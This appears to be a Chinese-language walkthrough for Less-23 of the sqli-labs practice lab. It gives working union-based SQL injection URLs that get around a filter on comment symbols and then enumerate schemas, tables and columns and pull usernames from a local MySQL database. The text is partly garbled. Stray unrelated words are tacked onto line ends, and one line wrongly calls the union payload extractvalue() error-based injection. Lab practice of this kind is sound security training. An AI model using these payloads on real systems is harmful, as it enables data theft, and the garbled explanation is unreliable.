Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。php
Solution: sql
http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273数据库
此处的sql语句为 spa
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1orm
Explain:此处讲解几个知识点:blog
以上这条语句就是利用extractvalue()进行报错注入。 get
将@@datadir修改成其余的选择内容或者是内嵌的select语句。如下用联合注入方法进行注入。 it
•获取数据库 io
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 table
此处获取的数据库为security
•查看security库数据表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
•查看users表的全部列
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
•获取内容
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3